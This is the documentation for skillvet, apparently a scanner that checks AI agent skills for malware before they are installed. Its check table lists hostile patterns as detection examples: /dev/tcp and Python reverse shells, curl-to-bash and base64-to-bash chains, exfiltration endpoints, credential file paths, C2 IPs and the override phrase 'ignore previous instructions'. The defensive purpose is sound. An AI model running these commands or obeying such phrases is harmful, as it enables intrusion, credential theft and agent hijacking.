名称: skillvet
描述: "ClawHub/community 技能安全扫描器 — 在安装前检测恶意软件、凭证窃取、数据外泄、提示词注入、混淆、同形异义攻击、ANSI 注入、特定攻击活动模式等。适用于从 ClawHub 或任何公共市场安装技能时、审查第三方智能体技能安全性、或在将不受信任的代码交给你的 AI 智能体前进行审查。触发词:安装技能、审计技能、检查技能、审查技能、技能安全、安全安装、此技能是否安全。"
compatibility: "需要 bash、grep、find 和 file(标准 POSIX)。safe-install.sh 和 scan-remote.sh 需要 clawdhub CLI。建议在 macOS 上使用 perl 或 ggrep(Homebrew GNU grep)以获得完整的 Unicode 正则表达式支持。"
元数据:
version: "2.0.9"
author: oakencore
智能体技能安全扫描器。包含 48 项关键检查,8 项警告检查。无依赖 — 仅需 bash 和 grep。包含受 Tirith 启发的检测模式,以及来自 Koi Security、Bitdefender、Snyk 和 1Password ClickFix 模式的攻击活动签名。
安全安装(安装、审计、若发现关键问题则自动移除):
bash skills/skillvet/scripts/safe-install.sh <技能别名>
审计已安装的技能:
bash skills/skillvet/scripts/skill-audit.sh skills/某个技能
审计所有已安装的技能:
for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done
JSON 输出(用于自动化):
bash skills/skillvet/scripts/skill-audit.sh --json skills/某个技能
SARIF 输出(用于 GitHub 代码扫描 / VS Code):
bash skills/skillvet/scripts/skill-audit.sh --sarif skills/某个技能
摘要模式(每个技能一行输出):
bash skills/skillvet/scripts/skill-audit.sh --summary skills/某个技能
详细模式(调试:显示运行的检查项和扫描的文件):
bash skills/skillvet/scripts/skill-audit.sh --verbose skills/某个技能
远程扫描技能(无需安装):
bash skills/skillvet/scripts/scan-remote.sh <技能别名>
差异扫描(仅扫描版本间的变更):
bash skills/skillvet/scripts/diff-scan.sh 路径/旧版本 路径/新版本
退出代码:0 安全,1 仅警告,2 发现关键问题。
| 标志 | 描述 |
|---|---|
--json |
为 CI/仪表板输出 JSON |
--sarif |
为 GitHub 代码扫描输出 SARIF v2.1.0 格式 |
--summary |
每个技能输出一行摘要 |
--verbose |
显示运行的检查项和扫描的文件 |
--exclude-self |
扫描自身源码目录时跳过 |
--max-file-size N |
跳过大于 N 字节的文件 |
--max-depth N |
限制目录遍历深度 |
在技能目录中创建 .skillvetrc 文件以禁用特定检查:
# 禁用检查 #4(混淆)和 #20(短链接)
disable:4
disable:20
或在代码行内添加注释以抑制单行警告:
const url = "https://bit.ly/legit-link"; // skillvet-ignore
安装 git 预提交钩子,在提交前自动扫描技能:
ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit
每个发现项都有一个严重性权重(1-10)。聚合风险评分包含在 JSON、SARIF 和摘要输出中。分数越高表示模式越危险:
| # | 检查项 | 示例 |
|---|---|---|
| 1 | 已知外泄端点 | webhook.site, ngrok.io, requestbin |
| 2 | 批量环境变量收集 | printenv \|, ${!*@} |
| 3 | 外部凭证访问 | 脚本中的 ANTHROPIC_API_KEY, TELEGRAM_BOT_TOKEN |
| 4 | 代码混淆 | base64 解码、十六进制转义、动态代码生成 |
| 5 | 路径遍历 / 敏感文件 | ../../, ~/.ssh, ~/.clawdbot |
| 6 | 通过 curl/wget 外泄数据 | 带变量的 curl --data, wget --post |
| 7 | 反向/绑定 Shell | /dev/tcp/, nc -e, socat |
| 8 | .env 文件窃取 | 脚本(非文档)中的 dotenv 加载 |
| 9 | Markdown 中的提示词注入 | SKILL.md 中的 "ignore previous instructions" |
| 10 | LLM 工具利用 | 发送/邮件传递密钥的指令 |
| 11 | 智能体配置篡改 | 写入/修改 AGENTS.md, SOUL.md, clawdbot.json |
| 12 | Unicode 混淆 | 零宽字符、RTL 覆盖、双向控制字符 |
| 13 | 可疑的安装命令 | SKILL.md 中管道到 bash 的 curl |
| 14 | 社会工程学 | 下载外部二进制文件、粘贴并运行的指令 |
| 15 | 包含的 .env 文件 | 技能中存在的 .env 文件(非 .example) |
| 16 | 同形异义 URL (Tirith) | 主机名中的西里尔字母 i 与拉丁字母 i |
| 17 | ANSI 转义序列 (Tirith) | 代码/数据文件中的终端转义码 |
| 18 | Punycode 域名 (Tirith) | xn-- 前缀的 IDN 编码域名 |
| 19 | 双重编码路径 (Tirith) | %25XX 百分号编码绕过 |
| 20 | 短链接 (Tirith) | bit.ly, t.co, tinyurl.com 隐藏目标 |
| 21 | 管道到 Shell | curl \| bash(HTTP 和 HTTPS) |
| 22 | 字符串构造规避 | String.fromCharCode, getattr, 动态调用组装 |
| 23 | 数据流链分析 | 同一文件读取密钥、编码、并发送网络请求 |
| 24 | 定时炸弹检测 | Date.now() > timestamp, setTimeout(fn, 86400000) |
| 25 | 已知 C2/IOC IP 阻止列表 | 91.92.242.30, 54.91.154.110(已知 AMOS C2 服务器) |
| 26 | 密码保护的归档文件 | "使用密码解压:openclaw" — 防病毒规避 |
| 27 | 粘贴服务载荷 | glot.io, pastebin.com 托管恶意脚本 |
| 28 | GitHub Releases 二进制下载 | 指向 GitHub 上 .zip/.exe 的虚假先决条件 |
| 29 | Base64 管道到解释器 | echo '...' \| base64 -D \| bash — 主要 macOS 攻击向量 |
| 30 | 子进程 + 网络命令 | Python/JS 代码中隐藏的管道到 Shell |
| 31 | 虚假 URL 误导 (警告) | 真实载荷前的诱饵 URL |
| 32 | 进程持久化 + 网络 | nohup curl ... & — 具有网络访问权限的后门 |
| 33 | 虚假先决条件模式 | "先决条件" 部分包含可疑的外部下载 |
| 34 | xattr/chmod 投放器 | macOS Gatekeeper 绕过:下载、xattr -c、chmod +x、执行 |
| 35 | ClickFix 下载+执行链 | curl -o /tmp/x && chmod +x && ./x,带下载的 open -a |
| 36 | 可疑的包源 | pip install git+https://...,来自非官方注册表的 npm |
| 37 | 分阶段安装程序模式 | 虚假依赖名称如 openclaw-core, some-lib |
| 38 | 虚假操作系统更新社会工程学 | "需要 Apple 软件更新以确保兼容性" |
| 39 | 已知恶意 ClawHub 参与者 | zaycv, Ddoy233, Sakaen736jih, Hightower6eu 引用 |
| 40 | Bash /dev/tcp 反向 Shell | bash -i >/dev/tcp/IP/PORT 0>&1(AuthTool 模式) |
| 41 | Nohup 后门 | nohup bash -c '...' >/dev/null 带网络命令 |
| 42 | Python 反向 Shell | socket.connect + dup2, pty.spawn('/bin/bash') |
| 43 | 终端输出伪装 | 恶意载荷前的诱饵 "downloading..." 消息 |
| 44 | 凭证文件访问 | 直接读取 .env, .pem, .aws/credentials |
| 45 | TMPDIR 载荷暂存 | AMOS 模式:将恶意软件放入 $TMPDIR 后执行 |
| 46 | GitHub raw 内容执行 | curl raw.githubusercontent.com/... \| bash |
| 47 | Echo 编码载荷 | 长 base64 字符串通过 echo 管道到解码器 |
| 48 | 仿冒技能名称 | clawdhub-helper, openclaw-cli, skillvet1 |
| # | 检查项 | 示例 |
|---|---|---|
| W1 | 未知的外部工具要求 | 安装说明中的非标准 CLI 工具 |
| W2 | 子进程执行 | child_process, execSync, spawn, subprocess |
| W3 | 网络请求 | axios, fetch, requests 导入 |
| W4 | 压缩/打包文件 | 首行 >500 字符 — 无法审计 |
| W5 | 文件系统写入操作 | writeFile, open('w'), fs.append |
| W6 | 不安全传输 | curl -k, verify=False — 禁用 TLS |
| W7 | Docker 不受信任的注册表 | 非标准镜像源 |
.md, .js, .ts, .tsx, .jsx, .py, .sh, .bash, .rs, .go, .rb, .c, .cpp, .json, .yaml, .yml, .toml, .txt, .env*, Dockerfile*, Makefile, pom.xml, .gradle。
二进制文件自动跳过。符号链接会被跟踪。
适用于 Linux 和 macOS。Unicode 检查(#12, #16, #17)在可用时使用 grep -P,在没有 Perl 兼容正则表达式(如标准 macOS)的系统上回退到 perl。如果两者都不可用,则静默跳过这些检查。
检查 #25 中的 C2 IP 阻止列表基于以下来源的已知指标:
- Koi Security 报告(2026 年 2 月)
- The Hacker News 报道
- OpenSourceMalware 分析
要更新 IOC,请编辑 scripts/patterns.b64 中的 KNOWN_IPS 条目(base64 编码的正则表达式模式)。
包含 .github/workflows/test.yml — 在推送/PR 时在 Ubuntu 和 macOS 上运行测试套件。
- name: 运行 skillvet
run: bash scripts/skill-audit.sh --sarif skills/某个技能 > results.sarif || true
- name: 上传 SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
仅限静态分析。提示词注入模式以英文为中心。压缩的 JS 会被标记但不会反混淆。干净的扫描提高了安全门槛,但不能保证绝对安全。
扫描器在审计自身时会标记自己 — 其自身的模式包含它检测的字符串。在 CI 中使用 --exclude-self 来跳过自扫描。